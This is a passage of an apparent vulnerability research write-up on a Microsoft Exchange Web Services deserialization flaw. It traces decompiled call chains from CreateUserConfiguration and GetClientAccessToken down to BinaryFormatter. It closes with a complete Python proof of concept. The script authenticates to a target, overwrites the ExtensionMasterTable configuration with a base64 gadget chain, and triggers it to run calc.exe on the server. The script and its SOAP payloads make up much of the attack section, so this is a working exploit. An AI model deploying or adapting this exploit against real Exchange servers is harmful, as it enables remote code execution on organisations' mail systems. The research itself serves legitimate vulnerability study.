    [XmlElement("UserConfigurationName")]  
    [DataMember(IsRequired = true, Order = 1)]  
    public UserConfigurationNameType UserConfigurationName { get; set; }  
  
    [XmlElement("ItemId")]  
    [DataMember(Name = "ItemId", IsRequired = false, EmitDefaultValue = false, Order = 2)]  
    public ItemId ItemId { get; set; }  
  
    [XmlArrayItem("DictionaryEntry", IsNullable = false)]  
    [DataMember(Name = "Dictionary", IsRequired = false, EmitDefaultValue = false, Order = 3)]  
    public UserConfigurationDictionaryEntry[] Dictionary { get; set; }  
  
    [XmlElement]  
    [DataMember(Name = "XmlData", IsRequired = false, EmitDefaultValue = false, Order = 4)]  
    public string XmlData { get; set; }  
  
    [DataMember(Name = "BinaryData", IsRequired = false, EmitDefaultValue = false, Order = 5)]  
    public string BinaryData { get; set; }  
}

And this matches what we saw earlier! Perfect! But one last thing. We saw the example on the web used SOAP, so lets see if we can find a function related to SOAP that handles this function. Expanding this search to Types and Methods and searching for CreateUserConfigurationSoap, we see that CreateUserConfigurationSoapRequest exists as a type, as well as CreateUserConfigurationSoapResponse.

![[Pasted image 20220207211116.png]]

Lets look at the request definition:

// Microsoft.Exchange.Services.Wcf.CreateUserConfigurationSoapRequest  
using System.ServiceModel;  
using Microsoft.Exchange.Services.Core.Types;  
using Microsoft.Exchange.Services.Wcf;  
  
[MessageContract(IsWrapped = false)]  
public class CreateUserConfigurationSoapRequest : BaseSoapRequest  
{  
    [MessageBodyMember(Name = "CreateUserConfiguration", Namespace = "http://schemas.microsoft.com/exchange/services/2006/messages", Order = 0)]  
    public CreateUserConfigurationRequest Body;  
}

Alright lets see where that is used.

![[Pasted image 20220207211256.png]]

Looks like BeginCreateUserConfiguration(CreateUserConfigurationSoapRequest soapRequest, AsyncCallback asyncCallback, object asyncState) uses this.

// Microsoft.Exchange.Services.Wcf.EWSService  
using System;  
using Microsoft.Exchange.Services.Core.Types;  
  
[PublicEWSVersion]  
public IAsyncResult BeginCreateUserConfiguration(CreateUserConfigurationSoapRequest soapRequest, AsyncCallback asyncCallback, object asyncState)  
{  
    return soapRequest.Body.ValidateAndSubmit<CreateUserConfigurationResponse>(CallContext.Current, asyncCallback, asyncState);  
}

Alright so now we know where to debug but what is the URL we need? Well we can see this is within the EWSService class, so lets see if we can’t find a bit of documentation about EWS to help guide us.

A bit of digging turns up https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/get-started-with-ews-client-applications which mentions that the normal URL is at /EWS/Exchange.asmx. However the page also notes that using the AutoDiscover service which is at https://<domain>/autodiscover/autodiscover.svc, https://<domain>/autodiscover/autodiscover.xml, https://autodiscover.<domain>/autodiscover/autodiscover.xml, or https://autodiscover.<domain>/autodiscover/autodiscover.svc is meant to be the more appropriate way to do things, however in my experience I haven’t found these to contain any info r.e the proper URL to use. Maybe I’ll be corrected but for now we’ll go off the assumption that /EWS/Exchange.asmx is the proper URL.

Entry Point Review

Wanted to hit Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter.Deserialize(Stream, SerializationBinder) and after tracing this back we found that ultimately this is called via Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception) which will use the Deserialize method of Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream) to do the actual deserialization on the userConfiguration.GetStream() parameter passed in.

We then found that the expected format of the UserConfiguration class that userConfiguration is an instance of looks like the following snippet:

<CreateUserConfiguration>
   <UserConfiguration/>
</CreateUserConfiguration>

Where UserConfiguration looks like

<UserConfiguration> 
	<UserConfigurationName/> 
	<ItemId/> 
	<Dictionary/> 
	<XmlData/> 
	<BinaryData/> 
</UserConfiguration>

This lead us to Microsoft.Exchange.Services.Core.Types.CreateUserConfigurationRequest and later to Microsoft.Exchange.Services.Core.Types.ServiceUserConfiguration which confirmed we were processing the right data.

We then confirmed that Microsoft.Exchange.Services.Wcf.CreateUserConfigurationSoapRequest is where SOAP requests to create the user configuration are handled and that Microsoft.Exchange.Services.Wcf.EWSService.BeginCreateUserConfiguration(CreateUserConfigurationSoapRequest soapRequest, AsyncCallback asyncCallback, object asyncState) uses this to call soapRequest.Body.ValidateAndSubmit<CreateUserConfigurationResponse>(CallContext.Current, asyncCallback, asyncState); which will asynchronously create the user configuration and then return a CreateUserConfigurationResponse instance containing the response to send back.

Finally we determined https://<domain>/EWS/Exchange.asmx is where we need to send our POST request to hopefully create the UserConfiguration object.

All of this results in the following chain for the deserialization attack at the moment.

Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration, out OrgExtensionRetrievalResult, out Exception)
	Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)
		TypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)
			TypedBinaryFormatter.Desearialize(Stream)
				System.Security.Claims.ClaimsPrincipal.OnDeserializedMethod()  
				   System.Security.Claims.ClaimsPrincipal.DeserializeIdentities()  
				       BinaryFormatter.Deserialize()

Creating a ServiceUserConfiguration Object With BinaryData Stream

Now that we have the URL to send the payload to we just need to figure out which field of the ServiceUserConfiguration object to set and how this should be done. Looking back at Microsoft.Exchange.Services.Core.CreateUserConfiguration code we can see the Execute() method calls the CreateInstance() method before setting the returned UserConfiguration object’s properties using SetProperties().

// Microsoft.Exchange.Services.Core.CreateUserConfiguration  
using Microsoft.Exchange.Data.Storage;  
using Microsoft.Exchange.Diagnostics.Components.Services;  
using Microsoft.Exchange.Services;  
using Microsoft.Exchange.Services.Core;  
using Microsoft.Exchange.Services.Core.Types;  
  
internal sealed class CreateUserConfiguration : UserConfigurationCommandBase<CreateUserConfigurationRequest, ServiceResultNone>  
{  
    private ServiceUserConfiguration serviceUserConfiguration;  
  
    public CreateUserConfiguration(ICallContext callContext, CreateUserConfigurationRequest request)  
        : base(callContext, request)  
    {  
        serviceUserConfiguration = request.UserConfiguration;  
        ServiceCommandBase<ICallContext>.ThrowIfNull(serviceUserConfiguration, "serviceUserConfiguration", "CreateUserConfiguration::ctor");  
    }  
  
    internal override IExchangeWebMethodResponse GetResponse()  
    {  
        return new CreateUserConfigurationResponse  
        {  
            ResponseMessages =   
            {  
                new SingleResponseMessage(base.Result.Code, base.Result.Exception)  
            }  
        };  
    }  
  
    private static UserConfiguration CreateInstance(UserConfigurationName userConfigurationName)  
    {  
        try  
        {  
            return userConfigurationName.MailboxSession.UserConfigurationManager.CreateFolderConfiguration(userConfigurationName.Name, UserConfigurationTypes.Stream | UserConfigurationTypes.XML | UserConfigurationTypes.Dictionary, userConfigurationName.FolderId);  
        }  
        catch (ObjectExistedException ex)  
        {  
            ExTraceGlobals.ExceptionTracer.TraceError(0L, "ObjectExistedException during UserConfiguration creation: {0} Name {1} FolderId: {2}", ex, userConfigurationName.Name, userConfigurationName.FolderId);  
            throw new ErrorItemSaveException(CoreResources.IDs.ErrorItemSaveUserConfigurationExists, ex);  
        }  
    }  
  
    internal override ServiceResult<ServiceResultNone> Execute()  
    {  
        UserConfigurationCommandBase<CreateUserConfigurationRequest, ServiceResultNone>.ValidatePropertiesForUpdate(serviceUserConfiguration);  
        using (UserConfiguration userConfiguration = CreateInstance(GetUserConfigurationName(serviceUserConfiguration.UserConfigurationName)))  
        {  
            UserConfigurationCommandBase<CreateUserConfigurationRequest, ServiceResultNone>.SetProperties(serviceUserConfiguration, userConfiguration);  
            userConfiguration.Save();  
        }  
        return new ServiceResult<ServiceResultNone>(new ServiceResultNone());  
    }  
}

Lets take a deeper look into the SetProperties() code:

// Microsoft.Exchange.Services.Core.UserConfigurationCommandBase<TRequestType,SingleItemType>  
using Microsoft.Exchange.Data.Storage;  
using Microsoft.Exchange.Services.Core.Types;  
  
protected static void SetProperties(ServiceUserConfiguration serviceUserConfiguration, UserConfiguration userConfiguration)  
{  
    SetDictionary(serviceUserConfiguration, userConfiguration);  
    SetXmlStream(serviceUserConfiguration, userConfiguration);  
    SetStream(serviceUserConfiguration, userConfiguration);  
}

Ah, interesting, so SetProperties() sets both an XML stream with SetXmlStream() and sets another stream, likely binary, with SetStream(). Lets confirm this is using the BinaryData field mentioned earlier by looking at the code for SetStream():

// Microsoft.Exchange.Services.Core.UserConfigurationCommandBase<TRequestType,SingleItemType>  
using System.IO;  
using Microsoft.Exchange.Data.Storage;  
using Microsoft.Exchange.Services.Core.Types;  
  
private static void SetStream(ServiceUserConfiguration serviceUserConfiguration, UserConfiguration userConfiguration)  
{  
    if (serviceUserConfiguration.BinaryData == null)  
    {  
        return;  
    }  
    using Stream stream = GetStream(userConfiguration);  
    SetStreamPropertyFromBase64String(serviceUserConfiguration.BinaryData, stream, CoreResources.IDs.ErrorInvalidValueForPropertyBinaryData);  
}

Looks like it is indeed using serviceUserConfiguration.BinaryData, confirming that this is the field we need to set in order to set the stream. Note that the BinaryData blob must be a Base64 encoded string due to the SetStreamPropertyFromBase64String() call here.

So therefore our chain to create a ServiceUserConfiguration object with a BinaryData stream looks like this:

CreateUserConfiguration.Execute()
	UserConfigurationCommandBase.SetProperties()
		UserConfigurationCommandBase.SetStream()			

Chaining Everything Together

So looks like first we need to make the UserConfiguration and apply that. We can do that via a web server SOAP request to /EWS/Exchange.asmx that looks like the following which will create a UserConfiguration object with a Dictionary XML element which as noted at https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/dictionary, defines a set of dictionary property entries for a user configuration object. These dictionary properties are controlled by a DictionaryEntry XML element which comprises a DictionaryKey, which has a Type field (aka type of the key) and a Value field (aka name of the key), and a DictionaryValue object which has the same fields used to control the value of the key.

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:m="https://schemas.microsoft.com/exchange/services/2006/messages"
               xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types"
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:xs="http://www.w3.org/2001/XMLSchema">
  
  <soap:Header>
    <t:RequestServerVersion Version="Exchange2013" />
  </soap:Header>
  <soap:Body>
    <m:CreateUserConfiguration>
      <m:UserConfiguration>
        <t:UserConfigurationName Name="TestConfig">
          <t:Folder Id="id" ChangeKey="id">
          </t:Folder>
        </t:UserConfigurationName>
		<t:BinaryData>
			DESERIALIZE_PAYLOAD_GOES_HERE_AS_BASE64_ENCODED_STRING
		</t:BinaryData>
        <t:Dictionary>
          <t:DictionaryEntry>
            <t:DictionaryKey>
              <t:Type>String</t:Type>
              <t:Value>PhoneNumber</t:Value>
            </t:DictionaryKey>
            <t:DictionaryValue>
              <t:Type>String</t:Type>
              <t:Value>555-555-1111</t:Value>
            </t:DictionaryValue>
          </t:DictionaryEntry>
        </t:Dictionary>
      </m:UserConfiguration>  
    </m:CreateUserConfiguration>
  </soap:Body>
</soap:Envelope>

Tracing the Deserialization Back to An Accessible Source

After a lot of tracing through interfaces we finally end up getting the following full deserialization chain from an accessible source. As you can see its quite long at 24 calls (including interfaces, so probably around 18 or so actual calls, but still its a lot!!!)

	Microsoft.Exchange.Services.Core.GetClientAccessToken.PreExecuteCommand()
	Microsoft.Exchange.Services.Core.GetClientAccessToken.PrepareForExtensionRelatedTokens()
	Microsoft.Exchange.Services.Core.GetClientAccessToken.GetUserExtensionDataList(HashSet<string>)
	Microsoft.Exchange.Services.Wcf.GetExtensibilityContext.GetUserExtensionDataListWithoutUpdatingCache(ICallContext, HashSet<string>)
	Microsoft.Exchange.Services.Wcf.GetExtensibilityContext.GetUserExtensions(ICallContext, bool, bool, bool, ExtensionsCache, HashSet<OfficeMarketplaceExtension>, bool, bool, bool, Version, bool)
	Microsoft.Exchange.Services.Wcf.GetExtensibilityContext.GetExtensions(ICallContext, bool, bool, bool, OrgEmptyMasterTableCache, ExtensionsCache, HashSet<OfficeMarketplaceExtension>, bool, bool, int?, bool, out string, bool, bool, Version, bool)  
	Microsoft.Exchange.Data.ApplicationLogic.Extension.InstalledExtensionTable.GetExtensions(HashSet<OfficeMarketplaceExtension>, bool, bool, bool, out string, CultureInfo, bool, bool, MultiValuedProperty<Capability>, bool)
	Microsoft.Exchange.Data.ApplicationLogic.Extension.InstalledExtensionTable.GetProvidedExtensions(HashSet<OfficeMarketplaceExtension>, bool, Dictionary<string,ExtensionData>, bool, bool, out string, bool)
	Microsoft.Exchange.Data.ApplicationLogic.Extension.InstalledExtensionTable.GetOrgProvidedExtensions(HashSet<OfficeMarketplaceExtension>, bool, Dictionary<string,ExtensionData>, bool, bool, out string, bool)
	Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionTable.GetOrgExtensions(IOrgExtensionDataGetter, OrgExtensionRetrievalContext, bool, bool)
	Microsoft.Exchange.Data.ApplicationLogic.Extension.IOrgExtensionDataGetter.GetAllOrgExtensionData(OrgExtensionRetrievalContext): IEnumerable<IExtensionData>
	Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionDataGetter.GetAllOrgExtensionData(OrgExtensionRetrievalContext): IEnumerable<IExtensionData>
	Microsoft.Exchange.Data.ApplicationLogic.Extension.IOrgExtensionRetriever.Retrieve(OrgExtensionRetrievalContext)
	Microsoft.Exchange.Data.ApplicationLogic.Extension.CachedOrgExtensionRetriever.Retrieve(OrgExtensionRetrievalContext) : OrgExtensionRetrievalResult
	Microsoft.Exchange.Data.ApplicationLogic.Extension.CachedOrgExtensionRetriever.TryDeserializeExtensionsFromCache(out OrgExtensionRetrievalresult)
	Microsoft.Exchange.Data.ApplicationLogic.Extension.IOrgExtensionSerializer.TryDeserialize(IUserConfiguration, out OrgExtensionRetrievalResult, out Exception)
	Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration, out OrgExtensionRetrievalResult, out Exception)
		Microsoft.Exchange.Data.ApplicationLogic.Extension.IClientExtensionCollectionFormatter.Deserialize
			Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)
				TypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)
					TypedBinaryFormatter.Deserialize(Stream)
						System.Security.Claims.ClaimsPrincipal.OnDeserializedMethod()  
						   System.Security.Claims.ClaimsPrincipal.DeserializeIdentities()  
						       BinaryFormatter.Deserialize()

We need to find a way to hit this function from an accessible location. I made a mistake here in thinking that cause we were retrieving info from the cache it wouldn’t be an exploitable path. Don’t assume based purely off of names the whole path chain, take a look at everything first.

Anyway we can then find that by Googling GetClientAccessToken that we can make a SOAP request for this given documentation at https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/getclientaccesstoken-operation and that The GetClientAccessToken operation gets a client access token for a mail app for Outlook. mean that its real purpose is simply to get a client token for a given mail app in Outlook. Interesting that such a benign operation triggers this chain bug it does make sense. After all some of this is getting the list of extensions for a given org, likely to find the respective app, which then leads us to the Microsoft.Exchange.Data.ApplicationLogic.Extension.CachedOrgExtensionRetriever.TryDeserializeExtensionsFromCache(out OrgExtensionRetrievalresult) call that ultimately leads to more calls and the then the TypedBinaryFormatter.Deserialize(Stream) call where the bug is at.

For reference the data we need to send here will look something like this:

<?xml version="1.0" encoding="UTF-8"?> 
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types" xmlns:m="https://schemas.microsoft.com/exchange/services/2006/messages"> 
	<soap:Header> 
		<t:RequestServerVersion Version="Exchange2013" /> 
	</soap:Header> 
	<soap:Body> 
		<m:GetClientAccessToken> 
			<m:TokenRequests> 
				<t:TokenRequest> 
					<t:Id>1C50226D-04B5-4AB2-9FCD-42E236B59E4B</t:Id> 
					<t:TokenType>CallerIdentity</t:TokenType>
				</t:TokenRequest> 
			</m:TokenRequests> 
		</m:GetClientAccessToken> 
	</soap:Body> 
</soap:Envelope>

Shell

Following PoC will spawn calc.exe on the target:

#!/usr/bin/python3
import socket, time

import http.client, requests
import urllib.request, urllib.parse, urllib.error
import os, ssl

from requests_ntlm2 import HttpNtlmAuth
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
import base64


USER = 'TESTINGDOMAIN\\administrator'
PASS = 'thePassword123!'

target = "https://172.26.247.94"

#rcegadget
#pop calc or mspaint on the target
gadgetData = 'AAEAAAD/////AQAAAAAAAAAEAQAAACZTeXN0ZW0uU2VjdXJpdHkuQ2xhaW1zLkNsYWltc1ByaW5jaXBhbAEAAAAcbV9zZXJpYWxpemVkQ2xhaW1zSWRlbnRpdGllcwEGBQAAALAXQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFFbFRlWE4wWlcwc0lGWmxjbk5wYjI0OU5DNHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajFpTnpkaE5XTTFOakU1TXpSbE1EZzVCUUVBQUFDRUFWTjVjM1JsYlM1RGIyeHNaV04wYVc5dWN5NUhaVzVsY21sakxsTnZjblJsWkZObGRHQXhXMXRUZVhOMFpXMHVVM1J5YVc1bkxDQnRjMk52Y214cFlpd2dWbVZ5YzJsdmJqMDBMakF1TUM0d0xDQkRkV3gwZFhKbFBXNWxkWFJ5WVd3c0lGQjFZbXhwWTB0bGVWUnZhMlZ1UFdJM04yRTFZelUyTVRrek5HVXdPRGxkWFFRQUFBQUZRMjkxYm5RSVEyOXRjR0Z5WlhJSFZtVnljMmx2YmdWSmRHVnRjd0FEQUFZSWpRRlRlWE4wWlcwdVEyOXNiR1ZqZEdsdmJuTXVSMlZ1WlhKcFl5NURiMjF3WVhKcGMyOXVRMjl0Y0dGeVpYSmdNVnRiVTNsemRHVnRMbE4wY21sdVp5d2diWE5qYjNKc2FXSXNJRlpsY25OcGIyNDlOQzR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmoxaU56ZGhOV00xTmpFNU16UmxNRGc1WFYwSUFnQUFBQUlBQUFBSkF3QUFBQUlBQUFBSkJBQUFBQVFEQUFBQWpRRlRlWE4wWlcwdVEyOXNiR1ZqZEdsdmJuTXVSMlZ1WlhKcFl5NURiMjF3WVhKcGMyOXVRMjl0Y0dGeVpYSmdNVnRiVTNsemRHVnRMbE4wY21sdVp5d2diWE5qYjNKc2FXSXNJRlpsY25OcGIyNDlOQzR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmoxaU56ZGhOV00xTmpFNU16UmxNRGc1WFYwQkFBQUFDMTlqYjIxd1lYSnBjMjl1QXlKVGVYTjBaVzB1UkdWc1pXZGhkR1ZUWlhKcFlXeHBlbUYwYVc5dVNHOXNaR1Z5Q1FVQUFBQVJCQUFBQUFJQUFBQUdCZ0FBQUFvdll5QmpiV1F1WlhobEJnY0FBQUFEWTIxa0JBVUFBQUFpVTNsemRHVnRMa1JsYkdWbllYUmxVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjZ01BQUFBSVJHVnNaV2RoZEdVSGJXVjBhRzlrTUFkdFpYUm9iMlF4QXdNRE1GTjVjM1JsYlM1RVpXeGxaMkYwWlZObGNtbGhiR2w2WVhScGIyNUliMnhrWlhJclJHVnNaV2RoZEdWRmJuUnllUzlUZVhOMFpXMHVVbVZtYkdWamRHbHZiaTVOWlcxaVpYSkpibVp2VTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2k5VGVYTjBaVzB1VW1WbWJHVmpkR2x2Ymk1TlpXMWlaWEpKYm1adlUyVnlhV0ZzYVhwaGRHbHZia2h2YkdSbGNna0lBQUFBQ1FrQUFBQUpDZ0FBQUFRSUFBQUFNRk41YzNSbGJTNUVaV3hsWjJGMFpWTmxjbWxoYkdsNllYUnBiMjVJYjJ4a1pYSXJSR1ZzWldkaGRHVkZiblJ5ZVFjQUFBQUVkSGx3WlFoaGMzTmxiV0pzZVFaMFlYSm5aWFFTZEdGeVoyVjBWSGx3WlVGemMyVnRZbXg1RG5SaGNtZGxkRlI1Y0dWT1lXMWxDbTFsZEdodlpFNWhiV1VOWkdWc1pXZGhkR1ZGYm5SeWVRRUJBZ0VCQVFNd1UzbHpkR1Z0TGtSbGJHVm5ZWFJsVTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2l0RVpXeGxaMkYwWlVWdWRISjVCZ3NBQUFDd0FsTjVjM1JsYlM1R2RXNWpZRE5iVzFONWMzUmxiUzVUZEhKcGJtY3NJRzF6WTI5eWJHbGlMQ0JXWlhKemFXOXVQVFF1TUM0d0xqQXNJRU4xYkhSMWNtVTlibVYxZEhKaGJDd2dVSFZpYkdsalMyVjVWRzlyWlc0OVlqYzNZVFZqTlRZeE9UTTBaVEE0T1Ywc1cxTjVjM1JsYlM1VGRISnBibWNzSUcxelkyOXliR2xpTENCV1pYSnphVzl1UFRRdU1DNHdMakFzSUVOMWJIUjFjbVU5Ym1WMWRISmhiQ3dnVUhWaWJHbGpTMlY1Vkc5clpXNDlZamMzWVRWak5UWXhPVE0wWlRBNE9WMHNXMU41YzNSbGJTNUVhV0ZuYm05emRHbGpjeTVRY205alpYTnpMQ0JUZVhOMFpXMHNJRlpsY25OcGIyNDlOQzR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmoxaU56ZGhOV00xTmpFNU16UmxNRGc1WFYwR0RBQUFBRXR0YzJOdmNteHBZaXdnVm1WeWMybHZiajAwTGpBdU1DNHdMQ0JEZFd4MGRYSmxQVzVsZFhSeVlXd3NJRkIxWW14cFkwdGxlVlJ2YTJWdVBXSTNOMkUxWXpVMk1Ua3pOR1V3T0RrS0JnMEFBQUJKVTNsemRHVnRMQ0JXWlhKemFXOXVQVFF1TUM0d0xqQXNJRU4xYkhSMWNtVTlibVYxZEhKaGJDd2dVSFZpYkdsalMyVjVWRzlyWlc0OVlqYzNZVFZqTlRZeE9UTTBaVEE0T1FZT0FBQUFHbE41YzNSbGJTNUVhV0ZuYm05emRHbGpjeTVRY205alpYTnpCZzhBQUFBRlUzUmhjblFKRUFBQUFBUUpBQUFBTDFONWMzUmxiUzVTWldac1pXTjBhVzl1TGsxbGJXSmxja2x1Wm05VFpYSnBZV3hwZW1GMGFXOXVTRzlzWkdWeUJ3QUFBQVJPWVcxbERFRnpjMlZ0WW14NVRtRnRaUWxEYkdGemMwNWhiV1VKVTJsbmJtRjBkWEpsQ2xOcFoyNWhkSFZ5WlRJS1RXVnRZbVZ5Vkhsd1pSQkhaVzVsY21salFYSm5kVzFsYm5SekFRRUJBUUVBQXdnTlUzbHpkR1Z0TGxSNWNHVmJYUWtQQUFBQUNRMEFBQUFKRGdBQUFBWVVBQUFBUGxONWMzUmxiUzVFYVdGbmJtOXpkR2xqY3k1UWNtOWpaWE56SUZOMFlYSjBLRk41YzNSbGJTNVRkSEpwYm1jc0lGTjVjM1JsYlM1VGRISnBibWNwQmhVQUFBQStVM2x6ZEdWdExrUnBZV2R1YjNOMGFXTnpMbEJ5YjJObGMzTWdVM1JoY25Rb1UzbHpkR1Z0TGxOMGNtbHVaeXdnVTNsemRHVnRMbE4wY21sdVp5a0lBQUFBQ2dFS0FBQUFDUUFBQUFZV0FBQUFCME52YlhCaGNtVUpEQUFBQUFZWUFBQUFEVk41YzNSbGJTNVRkSEpwYm1jR0dRQUFBQ3RKYm5Rek1pQkRiMjF3WVhKbEtGTjVjM1JsYlM1VGRISnBibWNzSUZONWMzUmxiUzVUZEhKcGJtY3BCaG9BQUFBeVUzbHpkR1Z0TGtsdWRETXlJRU52YlhCaGNtVW9VM2x6ZEdWdExsTjBjbWx1Wnl3Z1UzbHpkR1Z0TGxOMGNtbHVaeWtJQUFBQUNnRVFBQUFBQ0FBQUFBWWJBQUFBY1ZONWMzUmxiUzVEYjIxd1lYSnBjMjl1WURGYlcxTjVjM1JsYlM1VGRISnBibWNzSUcxelkyOXliR2xpTENCV1pYSnphVzl1UFRRdU1DNHdMakFzSUVOMWJIUjFjbVU5Ym1WMWRISmhiQ3dnVUhWaWJHbGpTMlY1Vkc5clpXNDlZamMzWVRWak5UWXhPVE0wWlRBNE9WMWRDUXdBQUFBS0NRd0FBQUFKR0FBQUFBa1dBQUFBQ2dzPQs='


def sendPayload(gadgetChain):
	get_inbox = '''<?xml version="1.0" encoding="utf-8"?>
	<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	  <soap:Header>
		<t:RequestServerVersion Version="Exchange2013" />
	  </soap:Header>
	  <soap:Body>
		<m:GetFolder>
		  <m:FolderShape>
			<t:BaseShape>AllProperties</t:BaseShape>
		  </m:FolderShape>
		  <m:FolderIds>
			<t:DistinguishedFolderId Id="inbox" />
		  </m:FolderIds>
		</m:GetFolder>
	  </soap:Body>
	</soap:Envelope>
	'''

	headers = {"User-Agent": "ExchangeServicesClient/15.01.2308.008", "Content-type" : "text/xml; charset=utf-8"}

	res = requests.post(target + "/ews/exchange.asmx",
				data=get_inbox,
				headers=headers,
							verify=False,
							auth=HttpNtlmAuth('%s' % (USER),
							PASS))

	print(res.text + "\r\n")
	print(res.encoding + "\r\n")

	folderId = res.text.split('<t:FolderId Id="')[1].split('"')[0]
	changeKey = res.text.split('<t:FolderId Id="' + folderId + '" ChangeKey="')[1].split('"')[0]

	print(folderId + "\r\n")
	print(changeKey + "\r\n")

	delete_old = '''<?xml version="1.0" encoding="utf-8"?>
	<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	  <soap:Header>
		<t:RequestServerVersion Version="Exchange2013" />
	  </soap:Header>
	  <soap:Body>
		<m:DeleteUserConfiguration>
		  <m:UserConfigurationName Name="ExtensionMasterTable">
			<t:FolderId Id="%s" ChangeKey="%s" />
		  </m:UserConfigurationName>
		</m:DeleteUserConfiguration>
	  </soap:Body>
	</soap:Envelope>''' % (folderId, changeKey)

	res = requests.post(target + "/ews/exchange.asmx",
				data=delete_old,
				headers=headers,
							verify=False,
							auth=HttpNtlmAuth('%s' % (USER),
							PASS))

	print(res.text)
	print("\r\n")

	create_usr_cfg = '''<?xml version="1.0" encoding="utf-8"?>
	<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	  <soap:Header>
		<t:RequestServerVersion Version="Exchange2013" />
	  </soap:Header>
	  <soap:Body>
		<m:CreateUserConfiguration>
		  <m:UserConfiguration>
			<t:UserConfigurationName Name="ExtensionMasterTable">
			  <t:FolderId Id="%s" ChangeKey="%s" />
			</t:UserConfigurationName>
			<t:Dictionary>
			  <t:DictionaryEntry>
				<t:DictionaryKey>
				  <t:Type>String</t:Type>
				  <t:Value>OrgChkTm</t:Value>
				</t:DictionaryKey>
				<t:DictionaryValue>
				  <t:Type>Integer64</t:Type>
				  <t:Value>637728170914745525</t:Value>
				</t:DictionaryValue>
			  </t:DictionaryEntry>
			  <t:DictionaryEntry>
				<t:DictionaryKey>
				  <t:Type>String</t:Type>
				  <t:Value>OrgDO</t:Value>
				</t:DictionaryKey>
				<t:DictionaryValue>
				  <t:Type>Boolean</t:Type>
				  <t:Value>false</t:Value>
				</t:DictionaryValue>
			  </t:DictionaryEntry>
			  <t:DictionaryEntry>
				<t:DictionaryKey>
				  <t:Type>String</t:Type>
				  <t:Value>OrgExtV</t:Value>
				</t:DictionaryKey>
				<t:DictionaryValue>
				  <t:Type>Integer32</t:Type>
				  <t:Value>2147483647</t:Value>
				</t:DictionaryValue>
			  </t:DictionaryEntry>
			</t:Dictionary>
			<t:BinaryData>%s</t:BinaryData>
		  </m:UserConfiguration>
		</m:CreateUserConfiguration>
	  </soap:Body>
	</soap:Envelope>''' % (folderId, changeKey, gadgetChain)

	res = requests.post(target + "/ews/exchange.asmx",
				data=create_usr_cfg,
				headers=headers,
							verify=False,
							auth=HttpNtlmAuth('%s' % (USER),
							PASS))

	print(res.text)
	print("\r\n")
	print("Got the request sent, now to trigger deserialization!\r\n\r\n")

	get_client_ext = '''<?xml version="1.0" encoding="utf-8"?>
	<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	  <soap:Header>
		<t:RequestServerVersion Version="Exchange2013" />
	  </soap:Header>
	  <soap:Body>
		<m:GetClientAccessToken>
		  <m:TokenRequests>
			<t:TokenRequest>
			  <t:Id>aaaa</t:Id>
			  <t:TokenType>CallerIdentity</t:TokenType>
			</t:TokenRequest>
		  </m:TokenRequests>
		</m:GetClientAccessToken>
	  </soap:Body>
	</soap:Envelope>
	'''

	res = requests.post(target + "/ews/exchange.asmx",
				data=get_client_ext,
				headers=headers,
							verify=False,
							auth=HttpNtlmAuth('%s' % (USER),
							PASS))
	print(res.text)
	print("\r\n")
	print("Triggered deserialization!\r\n\r\n")

sendPayload(gadgetData)

Notes

Process will spawn under the w3wp.exe process running MSExchangeServicesAppPool.

CVSS V3 Severity and Metrics
Base Score:
